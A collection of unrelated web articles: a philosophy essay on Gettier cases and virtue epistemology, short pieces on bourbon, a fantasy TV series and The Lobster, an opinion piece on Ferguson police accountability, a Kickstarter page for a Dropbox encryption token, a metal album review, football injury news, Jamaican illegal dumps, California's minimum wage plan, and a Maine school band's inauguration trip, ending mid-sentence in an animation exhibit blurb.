karnagechronicles.com. -The Stone is a forum for contemporary philosophers and other thinkers on issues both timely and timeless. Photo What is it to truly know something? In our daily lives, we might not give this much thought — most of us rely on what we consider to be fair judgment and common sense in establishing knowledge. But the task of clearly defining true knowledge is trickier than it may first seem, and it is a problem philosophers have been wrestling with since Socrates. One approach suggests that knowledge is a form of action, comparable to an archer’s success when he consciously aims to hit a target. In the complacent 1950s, it was received wisdom that we know a given proposition to be true if, and only if, it is true, we believe it to be true, and we are justified in so believing. This consensus was exploded in a brief 1963 note by Edmund Gettier in the journal Analysis. Here is an example of the sort used by Gettier to refute that theory. Suppose you have every reason to believe that you own a Bentley, since you have had it in your possession for many years, and you parked it that morning at its usual spot. However, it has just been destroyed by a bomb, so that you own no Bentley, despite your well justified belief that you do. As you sit in a cafe having your morning latte, you muse that someone in that cafe owns a Bentley (since after all you do). And it turns out you are right, but only because the other person in the cafe, the barista, owns a Bentley, which you have no reason to suspect. So you here have a well justified true belief that is not knowledge. After many failed attempts to fix the justified-true-belief account with minor modifications, philosophers tried more radical departures. One promising approach suggests that knowledge is a form of action, comparable to an archer’s success when he consciously aims to hit a target. An archer’s shot can be assessed in several ways. It can be accurate (successful in hitting the target). It can also be adroit (skillful or competent). An archery shot is adroit only if, as the arrow leaves the bow, it is oriented well and powerfully enough. But a shot that is both accurate and adroit can still fall short. Consider an adroitly shot arrow leaving the bow with an orientation and speed that would normally take it straight to the bull’s-eye. A gust of wind then diverts it, but a second gust puts it back on track. This shot is both accurate and adroit, but it fails to be apt. A shot’s aptness requires that its success be attained not just by luck (such as the luck of that second gust). The success must rather be a result of competence. This suggests the AAA account of a good archery shot. But we can generalize from this example, to give an account of a fully successful attempt of any sort. Any attempt will have a distinctive aim and will thus be fully successful only if it succeeds not only adroitly but also aptly. Of course, a fully successful attempt is good overall only if the agent’s goal is good enough. An attempt to murder an innocent person is not good even if it fully succeeds. Aristotle in his “Nicomachean Ethics” developed an AAA account of attempts to lead a flourishing life in accord with fundamental human virtues (for example, justice or courage). Such an approach is called virtue ethics. Since there is much truth that must be grasped if one is to flourish, some philosophers have begun to treat truth’s apt attainment as virtuous in the Aristotelian sense, and have developed a virtue epistemology, which also turns out to solve problems like that posed by Gettier. (Aristotle himself in VI.2 of the “Nicomachean Ethics” upholds attaining truth as the proper work of the intellect.) Virtue epistemology begins by recognizing assertions or affirmations. These can be either public, out loud, or to oneself in the privacy of one’s own mind. An affirmation could have any of many and various aims, and it could even have several at once. It could aim at misleading someone, as when it is a lie. Or it could be aimed at showing off, or at propping someone up, or at instilling confidence in oneself as one enters athletic competition. Related More From The Stone Read previous contributions to this series. A particularly important sort of affirmation is one aimed at attaining truth, at getting it right. Such an affirmation is called alethic (from the Greek term for truth). All it takes for an affirmation to be alethic is that one of its aims be: getting it right. Humans perform acts of public affirmation in the endeavor to speak the truth, acts with crucial importance to a linguistic species. We need such affirmations for activities of the greatest import for life in society: for collective deliberation and coordination, and for the sharing of information. We need people to be willing to affirm things publicly. And we need them to be sincere (by and large) in doing so, by aligning public affirmation with private judgment. Finally, we need people whose assertions express what they actually know. Virtue epistemology gives an AAA account of knowledge: to know affirmatively is to make an affirmation that is accurate (true) and adroit (which requires taking proper account of the evidence). But in addition, the affirmation must be apt; that is, its accuracy must be attributable to competence rather than luck. Requiring knowledge to be apt (in addition to accurate and adroit) reconfigures epistemology as the ethics of belief. And, as a bonus, it allows contemporary virtue epistemology to solve our Gettier problem. We now have an explanation for why you fail to know that someone in the cafe owns a Bentley, when your own Bentley has been destroyed by a bomb, but the barista happens to own one. Your belief in that case falls short of knowledge for the reason that it fails to be apt. You are right that someone in the cafe owns a Bentley, but the correctness of your belief does not manifest your cognitive or epistemic competence. You are right only because by epistemic luck the barista happens to own one. When in your musings you affirm to yourself that someone in the cafe owns a Bentley, therefore, your affirmation is not an apt alethic affirmation, and hence falls short of knowledge. Ernest Sosa teaches philosophy at Rutgers University and is a fellow of the American Academy of Arts and Sciences. He is the author of many books, including “A Virtue Epistemology,” “Knowing Full Well” and, most recently, “Judgment and Agency.” Follow The New York Times Opinion section on Facebook and on Twitter, and sign up for the Opinion Today newsletter. -The company showed off a 12 year version of their flagship product at the Derby Museum Legends Series in 2015 to great response. This would be about double the age of the original Maker’s Mark, which is rumored to be aged for 6 years. Following new product announcements over the last two years it was thought the company might also bring this product to market. Unfortunately, that does not appear to be the case. A representative for the company has confirmed with us that they have no plans to release a 12 Year version of their flagship product. Per the brand, “Maker’s Mark is, as it always has been, aged to taste, ensuring a consistency and quality that make it the world’s most delicious bourbon. We have no plans of releasing a bourbon that’s aged any longer than our current whisky, because well, we happen to think it’s aged just the right way as it is, thank you very much." -16 x 1-hour episodes or 32 x half -hour episodes. This series pays homage to the legendary folk hero but interweaves fantasy, bravery, magic, myth, romance and heroism. William Tell is the youthful leader of a band of young rebels forever hunted by the forces of darkness led by Xax and Kreel, who have usurped power in their homeland. The series of self-contained stories follows Will and the rebel forces’ ongoing quest to find the mythical Crystal Arrow which is essential to restore young Princess Vara to her rightful place on the royal throne and defeat Xax and Kreel’s forces – and, by doing so, bring back peace and order to the Kingdom of Kale. There is a guest star-studded cast of familiar faces and a whole bunch of action and adventure along the way, with creatures, wizards, elves, mystery, intrigue, humour and human drama as Will’s rebel band support each other with the assistance of the ethereal Kalem in their quest of defeating Xax and Kreel and to fulfil their destiny. A provocative and imaginary fantasy tale to enthral children worldwide and indeed the entire family. -Above you'll see a picture of Scott Olson, the Getty photographer who's brought us many of the most striking images of protests and police crackdown that followed the shooting of Michael Brown. The other two men in the photograph have not yet been identified to the public. When police arrested the Washington Post's Wesley Lowery and the Huffington Post's Ryan Reilly, they weren't wearing badges or nametags, and refused when asked to identify themselves.* Reasonable people can disagree about when, exactly, it's appropriate for cops to fire tear gas into crowds. But there's really no room for disagreement about when it's reasonable for officers of the law to take off their badges and start policing anonymously. many cops operating in Ferguson are betting on impunity, and it seems to be a winning bet There's only one reason to do this: to evade accountability for your actions. Olson was released shortly after his arrest, as were Reilly and Lowery before him. Ryan Devereaux from The Intercept and Lukas Hermsmeier from the German tabloid Bild were likewise arrested last night and released without charges after an overnight stay in jail. In other words, they never should have been arrested in the first place. But nothing's being done to punish the mystery officers who did the arresting. And what's particularly shocking about this form of evasion is how shallow it is. I can't identify the officers in that photograph. But the faces are clearly visible. The brass at the Ferguson Police Department, Saint Louis County Police Department, and Missouri Highway Patrol should be able to easily identify the two officers who are out improperly arresting photographers. By the same token, video taken at the Lowery and Reilly arrests should allow for the same to be done in that case. Policing without a nametag can help you avoid accountability from the press or from citizens, but it can't possibly help you avoid accountability from the bosses. on another level, it would almost be nicer to hear that nobody in charge thinks there's been any misconduct For that you have to count on an atmosphere of utter impunity. It's a bet many cops operating in Ferguson are making, and it seems to be a winning bet. In his statement today, President Obama observed that "there's no excuse for excessive force by police or any action that denies people the right to protest peacefully," seeking to tap into the widespread view that some instances of excessive force and denial of first amendment rights have taken place. But Obama did not even vaguely hint that any officer of the law would or should face even the slightest sanction for this inexcusable behavior. Statements from Governor Jay Nixon and Highway Patrol Captain Ron Johnson have suffered from the same problem. It is nice, of course, to hear that one's concerns are in some sense shared by the people in power. But on another level, it would almost be nicer to hear that nobody in charge thinks there's been any misconduct. After all, a lack of police misconduct would be an excellent reason for a lack of any disciplinary action. What we have is something much scarier. Impunity. The sense that misconduct will occur and even be acknowledged without punishment. Of course there are some limits to impunity. Shoot an unarmed teenager in broad daylight in front of witnesses, and there'll be an investigation. But rough up a reporter in a McDonalds for no reason? Tear-gas an 8 year-old? Parade in front of the cameras with no badges on? No problem. According to a Pew poll released earlier today, most white people have a good amount of confidence in the investigation into Michael Brown's death. They have the good sense, however, to at least admit to some misgivings about the handling of the protests. What they ought to see is that the two are hardly so separable. The protests would not be handled so poorly if the officers doing the handling felt that they were accountable for their actions. And a policing culture that doesn't believe cops should be accountable for their actions is not a culture that lends itself to a credible investigation. * Correction: The initial version of this article said that the officers who arrested Olson were not wearing identifying information, when in fact they appear to have proper nameplates on. -T hroughout his movie career, Colin Farrell has played many things: an amnesiac secret agent, a hitman with a death wish, even a time traveler. But in The Lobster, the actor takes on what may very well be his most offbeat role, playing a man who has 45 days to find a mate, otherwise he'll be turned into a lobster. Yes, the movie is every bit as weird as its premise makes it sound. But somehow co-writer/director Yorgos Lanthimos — in his English-language feature debut — makes it work. Set in a bizarre kind of alternate reality where human coupling is mandatory and where those who choose to remain single must live as fugitive outcasts in the woods, The Lobster is the story of a man named David (Farrell), a recent divorcee who takes up residence at a hotel specializing in two things: partnering up eligible bachelors and bachelorettes, and turning those who "don't make it" into animals. It's only when David flees the hotel and falls in with a band of loners, however, that he meets his true soulmate (Rachel Weisz). Will the couple be able to find happiness together? Or will the upside-down rules of their dystopian society defeat them in the end? The Lobster is both a love story and an absurdist fairy tale, but one thing it definitely isn't is conventional. Driven by deadpan performances, a classical music score and a dark sense of humor, it's a difficult movie to pin down. But if you absolutely had to put a label on it, it's hard to think of one more appropriate than Logan's Run meets Terry Gilliam. The Lobster is receiving its North American premiere as part of TIFF 2015's Special Presentations programme. Its runtime is 1 Hr. 59 Min. -About Because everybody deserves privacy and for their documents to remain theirs. Over the past few years, cloud service providers like Dropbox have become the standard way to back-up and share digital content online. Dropbox is fast, reliable and easy to use but security in the cloud is however an area that requires dramatic improvements. With the increasing number and sophistication of cyber attacks and the escalating use of cloud service providers for back-ups and sharing, the need for security is greater than ever. Because everybody deserves privacy and for their documents to remain theirs : That’s where Qi comes in ! What is Qi™? Qi is a secure token that runs on top of Dropbox allowing you to secure all your files independently of their type, both within your Dropbox account and on your local computer(s). This means securing photos, word documents, spreadsheets, PDFs and more. Only you, with your Qi, can access the files. You are also able to share them securely with friends and colleagues. Here’s how Qi™ works Qi is a secure token that runs on top of Dropbox allowing you to secure all your files anywhere, anytime. Documents are encrypted, “wrapped around”, on the fly locally and before reaching Dropbox. Documents can only be accessed, opened and edited when your Qi is plugged into a USB port. This means that with Qi your Dropbox files are always secure. Securing Dropbox has never been easier. Qi is engineered for simplicity and the concept is simple – when Qi is plugged in and you double click on a file in Dropbox, the digital content is opened. Without Qi plugged in, the file cannot be opened. When you close a file or unplug Qi your files are automatically re-encrypted. This ensures encryption takes place at all times, preventing the risk of files being left unencrypted by mistake. There is no document stored on Qi, all the files are encrypted in Dropbox. Sharing photos and other documents securely with friends and colleagues is also possible. Qi users directly receive files in their Dropbox and if you don’t have a Qi, no problem. You can still receive files by email. Qi adds a layer of security that is transparent to the user while leveraging the benefits of Dropbox (ease of use, fast synchronization, easy sharing). You simply have to install a small program that runs on your computer and connects Qi with your Dropbox account. There is no user interface and using files remains the same. The way you have always done it is the way it continues to be. Comprehensive security on your computer(s), in your Dropbox account and while sharing with others – that’s Qi. The technology behind Qi™ Qi uses two factor authentication, military grade encryption (each file is encrypted with a unique encryption key using the AES-256 algorithm - US Department of Defense approved), proprietary patent-pending key management and anti-forensics technology to provide bulletproof security while focusing on ease of use. The technology is transparent to the user as all cryptography and key management is done in the background to maintain the Dropbox user experience. Qi works on both Mac and Windows operating systems. The security guy behind the vision Qi is the invention of Dr. Cédric Jeannot, a security researcher and entrepreneur. Dr. Jeannot received his PhD in Applied Security from the University of Louisville, KY and has extensive expertise in many areas of digital security including, cryptography, authentication, key management and forensic approaches. He is the author of several research papers and a patent-pending secure architecture for digital content protection in corporate environments. As a world renowned security expert and international speaker on the topics of cyber security and corporate espionage, many rely on Dr. Jeannot’s opinion on digital security matters. Qi has been designed and built by Dr. Jeannot and his team of security professionals. They cumulatively bring 27+ years of experience in the field of security and come from mathematics, physics and computer science backgrounds. Together they have previously built security products and services for Fortune 500 companies and Governments. Where are we now and why we need your help Dr. Jeannot came up with the concept of Qi, following multiple demands from fellow entrepreneurs that were in the same technology incubator. Most start ups used Dropbox to back up and share their documents but recognized that it was lacking appropriate security. They needed a solution they could count on to secure their intellectual property and share sensitive files with advisers, investors, and VCs. They wanted to keep using Dropbox because it was easy, convenient and inexpensive but wanted more security. Keeping in mind that the user experience was also a top priority, Qi was born ! At this point, Qi is ready for production. Over the past 8 months, we've come a long way in the development and now have a production-ready solution. We need to refine our manufacturing process and place our first production order. Although we are ready for production, we need the necessary funding to mass produce the Qi secure token. A successful Kickstarter campaign will allow us to keep the per unit cost down which in turn will allow us to keep pricing at a reasonable level. Development and production locations Producing a security product overseas is typically never a wise thing and that is why all our software is developed in-house by our industry leading experts and quality-conscious personnel. We work with local state-of-the-art manufacturing facilities and our partners range from an IPC member and ISO-2000 certified electronics manufacturer to a global leader in liquid injection molding for the medical, automotive and consumer electronics products. Project timeline to fulfillment Project funding completion – early October 2013 Production order placement – mid-October 2013 Volume production completion – end of 2013 Shipments to Kickstarter backers – early 2014 Product general release to public – spring 2014 FAQ Does Qi complement or replace Dropbox ? Complement. Qi is an add-on to Dropbox that allows you to use Dropbox in a secure way (including local copies of files and sharing ). Is sharing limited to other Qi users ? No. You can share documents securely with other Qi users but if a user does not have a Qi, you can chose to send the files unencrypted or chose not to send them. Can Qi work with Box or other cloud services ? Soon. At this point Qi is only available as an add-on to Dropbox. This being said, we are working on integrating Qi with other cloud providers such as Box, Google Drive and Microsoft SkyDrive. Are my files stored on Qi ? No, Qi is not a storage device. The files are stored in Dropbox. Qi acts as a secure gateway to encrypt and decrypt files on the fly. Does it work on MAC ? Yes. Qi works on both Windows ( Xp, Vista, 7, 8 ) and MAC ( from 10.6 ). -The Canadian province of Québec seems to be situated upon some geographically freakish turf that exudes such a phenomenal electromagnetism as to twist and convolute whatever waveforms happen to waft into its borders. Psuedoscientific petrology aside, Dead Brain Cells are one such Canadian faction that reinterpreted the equatorial American sounds of skatethrash and reassembled its raw energy into a hyperborean bizzarerie, with an ambition in expressing the absurd crises symptomatic of a classically Huxleyan, oblivious society lured into the grip of an Orwellian tyranny by the mesmeric attractions of self-pleasure. Taking aesthetic inspiration from the cruelly intelligent, modern firearms cacophony of Slayer’s ‘Chemical Warfare’ but fashioning riffs over the roguish, bursting structures typified by crossover acts Suicidal Tendencies and Corrosion of Conformity, Dead Brain Cells had paradoxically succeeded in applying scientific methods to truculent vandalism. Vocals, in compliment to the factorial churn and tumble of the instruments, are delivered in a robotic rant like the outcries of a citizen-turned-automaton denigrated by a lifetime of vacuous routine; lyrics are remarkably coherent and incisive considering the band’s Québécois nationality, of course with the mother tongue of French being a perennial obstacle for all aspiring Hessians allied under the fleur-de-lis. However, it is clear from DBC’s rather involved compositional style that their telos was not merely in writing protest music, but in establishing engaging, punkishly dynamic narratives such that every song is represented as its own vignette of dystopia — a sensibility that would be incorporated into the region’s burgeoning death metal movement, with vestiges apparent in such seminal works as Considered Dead and From This Day Forward. This eponymous debut remains one of the exceptional examples of quality crossover thrash from outside of the U.S.A. and England; it’s also required listening for any avid scholars of Canadian death metal, in order to better understand the music’s gestation from heavy, quirky progressive rock to complex and sublimely dissonant killing noise. -Thanatotron- A planet defaced with death and decay An atmosphere of hate Cities destroyed Their meanings forgotten And fertile lands lay waste A planet once prosperous Its future looked bright But an immature race had evolved Given time and the knowledge They soon could destroy The planet on which they revolved Not one life would be spared It wouldn’t happen again Because there is no second chance Tags: Crossover, dbc, dead brain cells, review, Science, Speed Metal, Thrash -Frank Lampard is almost certainly out of Euro 2012 because of the thigh injury that has put Jordan Henderson on the brink of a late call-up and left England looking increasingly depleted with only 11 days to their opening game of the tournament, against France. Lampard was hurt chasing a ball into a corner during England's training session and the initial prognosis is that there is virtually no chance of him being fit. The seriousness of the issue was immediately obvious to his team-mates as he was treated at the scene and a dismayed Roy Hodgson quickly put in place contingency plans by contacting Liverpool to inform them that Henderson might be needed. That would leave England operating from anything but a position of strength when it comes to back-up players for Hodgson's first-choice central-midfield pairing of Steven Gerrard and Scott Parker. Hodgson's options are so depleted that Phil Jones, used mostly as a defender at Manchester United, is next in line, followed by Alex Oxlade-Chamberlain and now Henderson. Lampard turns 34 during the tournament and, if his worst fears are confirmed, he will have to acknowledge that it also puts his international career at serious risk. The Chelsea midfielder had spoken on Tuesday about reaching 100 England caps but he is currently 10 short and has started only one of the past five internationals. He is, however, still regarded as a key member of the squad, especially at a time when Gareth Barry and Jack Wilshere have already been ruled out and there are lingering concerns about the ability of Gerrard and Parker to play the entire tournament. Gerrard was restricted to only 45 minutes of the 1-0 friendly win against Norway on Saturday and missed Liverpool's last two games of the season because of his recurrent back issues. To put it into context, England's players had a golf afternoon at their hotel in Hertfordshire and Gerrard played only nine holes because he did not want to overextend himself. As for Parker, he lasted almost an hour in Oslo but has been treated with injections because of a persistent achilles problem that meant he barely played in the previous month. Hodgson's options are limited by Michael Carrick's withdrawal from contention and the FA has indicated there will be no attempt to try to ascertain his availability. If Lampard's scan reveals a tear, the FA will have to prove to Uefa's medical committee that it is a new injury before being allowed a replacement. Lampard missed three and a half months two seasons ago with a thigh injury, although it not clear at this early stage whether the latest problem is in the same area. Either way, the ruling body does not anticipate a problem bringing in Henderson. -Arthur Hall, Senior Staff Reporter Illegal dumps offering heavily discounted rates are flourishing around the Riverton landfill and some top companies in the Corporate Area are keeping them alive. Commercial waste from some of the island's top companies is ending up at a number of these illegal dumps. A Sunday Gleaner probe has determined that some private garbage-disposal entities, which collect commercial waste, are taking the cheap route by emptying rubbish at the illegal dumps instead of going to the official landfill operated by the National Solid Waste Management Authority (NSWMA). "When Solid Waste a charge $500 fi go pon di landfill, di illegal dump dem will take $200, $300, or anything," one man explained. The truck drivers save a dollar but create a multimillion-dollar problem, which affects residents of communities close to the landfill, as the operators of the illegal dumps can only dispose of the rubbish by burning it. This creates an almost-nightly smoke nuisance for people living near the landfill that is often unfairly blamed on the NSWMA. At least three illegal dumps The Sunday Gleaner probe located at least three illegal dumps operating close to the landfill. "Yow, boss. Leave that alone. A gunman thing that," one source told The Sunday Gleaner, even as he helped to point out the illegal dumps. According to the source, one of the dumps, operated on the bank of the Sandy Gully, is a regular site for operators of private trucks which collect garbage from some of the biggest companies in the Corporate Area. Another illegal dump, operated metres from the landfill, had a chain across the gate where men collect money from truck drivers who want to avoid going to the official dump. "The issue of the illegal dumps is one that I struggled with," said Joan Gordon-Webley, former head of the NSWMA. "It stems from a number of reasons, including persons operating near the landfill who commandeer the trucks and dump the rubbish to search for tyres and scrap metals. The tyres are then burnt for the copper that is inside," Gordon-Webley explained. She charged that some truck operators use the illegal dumps to avoid paying the $500 administrative fee to access the landfill. According to Gordon-Webley, even in cases where established companies purchase the $500 pass from the NSWMA to take their garbage to the landfill, some drivers leave the truckloads of rubbish at the illegal dumps and sell the tickets. "Boss, just tek mi number and call mi when you coming. All you have to do is give mi a thing and mi will take any number of loads (of garbage) you have," one operator of an illegal dump told The Sunday Gleaner team. He was responding to our request to dispose of some garbage without going through the formal system. NSWMA board to conduct probe The issue has attracted the attention of Minister of Local Government Noel Arscott, who has instructed the recently appointed board of the NSWMA to investigate the matter and indicate the measures to be taken to cauterise it. "I asked that the investigation not be limited to the Riverton site, but that the board look into unlicensed solid-waste disposal activities across the island. "I have requested that the board act within the confines of the law, utilising the provisions under the National Solid Waste Management Act in prosecuting offenders," added Arscott. Section 23 of the National Solid Waste Management Act stipulates that "a licence is required for persons who operate or propose to operate waste-disposal sites, provide or propose to provide waste collection or transfer, or otherwise manage solid waste". Section 45 of the act prescribes that persons who break the rules "are liable on summary conviction before a resident magistrate to a fine not exceeding $1 million or to imprisonment for a term not exceeding nine months or to both fine and imprisonment". According to Arscott, "An inter-agency approach will be utilised as the (NSWMA) board will be working with the Public Health Department and the National Environment (and Planning) Agency, and I am expecting an update within 30 days." arthur.hall @gleanerjm.com -A landmark plan to raise the state’s minimum wage to $15 by 2022 could create sweeping changes across the industries that rely on low-wage workers and improve the living standards for millions of Californians employed in farm fields, restaurants and retail stores. “The expanse of the impacts is huge – a 50 percent increase in wages over five years to more than 40 percent of workers in the Sacramento region alone,” Jeffrey Michael, director of the Center for Business and Policy Research at the University of the Pacific in Stockton, said after Gov. Jerry Brown announced the plan Monday. The plan, negotiated by Brown, labor leaders and legislators, could head off a similar ballot measure this November and raise the state’s minimum wage by about $1 per year, making California’s by far the highest statewide basic wage in the nation. It would increase the earnings of a full-time minimum-wage worker from $20,000 a year today to $30,000 per year in 2022. Brown called the wage increase a matter of “economic justice” at a news conference Monday in the state Capitol. Sign Up and Save Get six months of free digital access to The Sacramento Bee Some cities, including San Francisco and Los Angeles, have already adopted similar proposals, and Sacramento leaders recently approved an ordinance to raise the city’s minimum wage to $12.50 an hour by 2020. If the Legislature passes the newly announced plan, as expected, its positive effects could include boosting the living standards of the approximately 6 million Californians who earn the current minimum wage of $10 an hour and giving them more money to spend back into the economy. The negatives could include fewer hours and fewer jobs for those workers, economists and employers said. Farmers who sell their produce out of state could be at a major disadvantage compared with farmers in states and nations with lower wages. And restaurant prices are likely to rise across the board. The matter is so complicated, and fraught with unintended consequences, that it’s hard to know if the benefits or drawbacks will prevail, Michael said. Either way, he said, “The economic impacts are going to be enormous.” Owners and employees of businesses that employ the bulk of minimum wage workers offered reactions this week ranging from outrage to joy, but some of their thoughts went beyond neat clichés. At Monday’s news conference announcing the minimum-wage deal, longtime Burger King worker and activist Holly Dias, of Humboldt County, hugged the governor after tearfully describing how she struggled to support her infant son at the state’s lowest legal wage, which increased this year from $9 to $10 an hour. “Today our great nation is watching us as history is made,” Dias said. Fast food restaurant workers nationwide have participated in a campaign, led by labor unions, to establish a $15 minimum wage across the country. But some restaurant workers interviewed Tuesday said they weren’t so sure the wage hike would be entirely good. “They don’t think about how prices are going to go up everywhere else to cope with it,” said Gaerael Debise, 19. The cashier at the Buckhorn Grill restaurant in midtown Sacramento makes $10 an hour and helps support his mother and little sister, while attending classes at Sacramento City College. His co-worker, Eddie Alcantara, 22, said he had worked his way up from $9 to $12 an hour and is now a supervisor at the restaurant. He said he is proud of his accomplishment and thinks others should have to do the same, and not just be paid higher wages from the start. “The minimum wage now is OK,” he said. Lots of business owners, and the political groups that represent them, said the wage increase was sure to lead to a decline in employment and higher consumer costs. The owner of the medium-sized Buckhorn chain of restaurants – which employs 650 workers mainly in the Sacramento region and Bay Area – said he wasn’t happy with the plan. But he said he grudgingly accepted that it is popular with politicians and will likely pass. John Pickerel, who co-founded the Buckhorn Steakhouse in Winters in 1980, said instead of bemoaning their fate, restaurant operators will have to adopt better business practices. They can’t just keep pushing prices higher, because customers won’t accept it, he said. “It’s a game changer,” Pickerel said. “A lot of people would rather complain than be proactive.” Managers will have to train and retain the most productive employees at higher wages, and mom-and-pop cafes with fewer employees could actually have a competitive edge over chains with large numbers of minimum wage workers, he said. “It’s about being part of the solution and getting people to buy into productivity and believing people can learn things,” Pickerel said. “We can’t use a lot of warm bodies. There’s no room for error.” One farmer said paying his workers $15 an hour would further undermine his ability to compete with growers in other states and Mexico. “We’re already at a disadvantage with Arizona, (where farmers) pay their workers $8.05 an hour and we’re at $10. Any further increase is going to put us at a serious disadvantage,” said Joe Del Bosque, owner of Del Bosque farms in Firebaugh. His workers are harvesting asparagus now at $10 an hour or more, while workers in Mexico harvest the same crop for $10 a day, he said. “If we can’t compete with them, we can’t grow some of these crops in California anymore,” Del Bosque said. Yolo County farmer Duane Chamberlain said his workers, who mostly make well above the minimum wage, are starting to cut alfalfa hay this time of year. He said he wouldn’t mind paying all his workers at least $15 an hour with the exception, perhaps, of those just learning. “My workers are all worth 15 bucks an hour because they’ve been around,” said Chamberlain, who also sits on the Yolo County Board of Supervisors. “Starting people out, it would be nice to hire kids at lower wages because they’re not worth it. They don’t know what they’re doing.” One of Chamberlain’s workers said he’s happy with the proposed pay hikes. “To be able to help my family. For my children’s education. I’m glad my boss agrees with the wage increase,” Isaias Aguirre said as he cut hay with his brother Jose Aguirre on Tuesday. Isaias said he sends about $1,000 a month home to Mexico to help his three children. There are additional reasons, besides experience levels, that a uniform state wage might not make sense, experts said. Making $15 an hour in rural Yuba County, where the cost of living is relatively low for California, is much different than making $15 an hour in Santa Clara County, the expensive heart of Silicon Valley. The Massachusetts Institute of Technology’s Living Wage Calculator estimated that for 2014, a single adult would need to make less than $10 an hour to support themselves in Yuba County, while the same adult living in Santa Clara County would need to make almost $14 an hour to pay for rent, food, transportation and other basic costs. Oregon recently passed a new minimum wage law that took such differences into account. It will gradually increase the basic pay rate in the pricey Portland area to $14.75 an hour by 2022 while only raising the minimum wage in the most rural parts of the state to $12.50 an hour. Michael, the UOP economist, said it’s something California lawmakers might consider. “Connections to the cost of living and the economic structure of the community are both arguments to have regional minimum wages,” he said. -The only thing separating Madawaska from Canada is the St. John River, which means more students from Madawaska Middle/High School have traveled to another country than their own nation’s capital. That will start to change Jan. 18, when 28 students in the school band, known as the Pride of Madawaska, board a bus shortly after midnight for a 16-hour trip to Washington, D.C., where they will perform the next day in a concert at the Lincoln Memorial. The Jan. 19 “Make America Great! Welcome Concert” will kick off three days of events highlighted by President-elect Donald Trump’s swearing in as the 45th president of the United States at the U.S. Capitol on Jan. 20. The students, says principal Wayne Anderson, are “ecstatic.” “They’re very excited,” he said. “They’re really anxious to see if we can pull this off. Obviously this is going to be a fairly costly endeavor. We’re in the throes right now of some massive fundraising.” School officials estimate the three-day trip will cost about $20,000 for transportation and lodging. As of Monday night, the band boosters had raised $12,000 in donations ranging in amounts from $10 to $2,500, band director Ben Meiklejohn said. It was Meiklejohn’s idea to apply for a performance spot in the inauguration festivities. A former Portland resident, Meiklejohn moved to Madawaska in October to begin his new job as band director. As he was unpacking his belongings in his new apartment, Meiklejohn came across some old photos from 1989, when he and his fellow bandmates from Kennebunk High School marched in the inaugural parade for President George H.W. Bush. Meiklejohn’s instrument was the oboe, but that’s a wooden instrument that shouldn’t be played in cold weather, so the band made him a flag bearer instead. ‘We’ll really be representing small-town America’ — Ben Meiklejohn, Madawaska band director He still remembers what it was like to march past the Bush family, representing the first family’s second-home state of Maine. “He stood up and went out of his way to wave to us, and acknowledged that he knew it was us,” Meiklejohn recalled. “It was so nice to get the recognition of the president himself. As a kid, that means a lot.” SELECTED IN DECEMBER When the band director, now 45, ran across his old photos, “a light bulb went off,” he said. “I thought: Wow, I have a band and it’s a presidential inauguration this year, so why don’t I give it a shot and apply, and see what happens?” Meiklejohn applied in November for a spot in the inaugural parade, and heard back in mid-December that the Pride of Madawaska had been chosen for the Lincoln Memorial concert. No bands from Maine were chosen to march in the inaugural parade this year. Just a dozen ensembles will be playing in the “Voices of America” concert, and only 40 bands will march in the parade, Meiklejohn said. “We’ll really be representing small-town America,” he said. “From what I understand, they are going for people from the far reaches of the country, the corners of the country.” Madawaska is the northernmost town in Maine, and as the country’s northeasternmost point is considered one of the “four corners” of the continental United States. Meiklejohn didn’t tell the students what he had up his sleeve until the band’s participation was confirmed by inauguration officials. When he told the students they had to have their band uniforms fitted, the students balked, questioning why that had to be done when they weren’t expecting another performance until spring. Meiklejohn just replied, “Well, we might have a venue in store for January.” “I think only a handful of them have been outside of Maine,” he said. “When I first announced it to them, they were in disbelief at first. They thought I was joking with them or something.” ‘A ONCE-IN-A-LIFETIME CHANCE’ Elizabeth Dufresne, a 14-year-old ninth-grader who plays the flute, says she and her friends were “wicked excited” when Meiklejohn broke the news. “I am looking forward just getting to go down and doing this with my band because our band is very close,” she said. “It’s kind of like a second family, so getting to do this with them is really exciting and fun. We haven’t played in front of that many people before. We did the Bangor parade, but that’s not as big as this is going to be.” Emma Pelletier, a 13-year-old eighth-grader who plays the clarinet, said she is thinking of it as “a great experience and a once-in-a-lifetime chance.” The concert performers were asked to present program proposals. Meiklejohn submitted a program that would last 5½ minutes and includes “The Dirigo March” – Maine’s official march, composed by Maine native Leo Pepin of Augusta – and a popular march called “Main Street America,” arranged by Gary Gilroy. The program has not yet been officially approved, but the students are practicing the material early every morning, seven days a week, until it’s time to hit the road. The practice schedule is rigorous, Pelletier said, “but I think we can manage. Everyone is committed. They really want to go to Washington and do a good job.” It will be a quick trip. They’ll drive down on Jan. 18, check into their hotel in the late afternoon, rest and get oriented. They’ll play the concert the next day, then board the bus on Jan. 20 for the trip back to Maine. They’d like to squeeze in an extra day of sightseeing, but only if they can raise the money to pay for it. Meiklejohn estimates it would cost “probably a few thousand” to make that happen. “If we were to raise more money,” Meiklejohn said, “then we could add on an extra day of lodging and bus rental.” Local residents and businesses are donating through the school system’s website, madawaskaschools.org/district. ‘IT’S NOT A POLITICAL TRIP FOR US’ Despite the contentious election, neither Meiklejohn nor Anderson is concerned about politics and rhetoric ruining the students’ experiences. Although Madawaska voted for Democrat Hillary Clinton, Meiklejohn said not a single parent or student has objected to the band attending the inauguration. “We don’t see this as a political event for us,” Anderson said. “We really do a good job here at school of keeping the politics out of the building and focusing on the academics, so for us it’s a wonderful opportunity for the kids to go down there and display their talents, to see the process of bringing a president in firsthand to go along with their American government classes and their civics classes, and really have an academic bent to this process as well as them having a good time. So for us, it doesn’t matter whether it’s Republican or it’s Democrat, because it’s not a political trip for us. It’s academic.” Meiklejohn said that’s the way it was for him in 1989. “Certainly when I was marching for George Bush, I didn’t get the feeling that my marching made me a Bush supporter, and it didn’t change my appreciation for participating in the event, either,” he said. “I think at this kind of event everyone’s looking beyond the politics,” Meiklejohn said. “It doesn’t feel like something political that we’re participating in. It’s just a tradition of democracy. It’s like clockwork: Since the founding of our country, every four years a president gets inaugurated and that’s never changed.” Both Dufresne and Pelletier said that while they hope to learn more about politics while they are in Washington, they are going on the trip to make music, not political points. “I’m really just there to play in the band and have fun,” Dufresne said. Share -“Thought of You” part of Conte Animated exhibit Jan. 20-29, HFAC Gallery 303 "Thought of You" in HD, behind-the-scenes documentary and flip charts of film animations featured in HFAC Gallery 303 Jan. 20-29 Animated short was created by filming dancers, then drawing 24-frames per second of the dancing Video has more than 1 million views between Vimeo and YouTube This short animation is a creative collaboration between BYU animation professor Ryan Woodward and 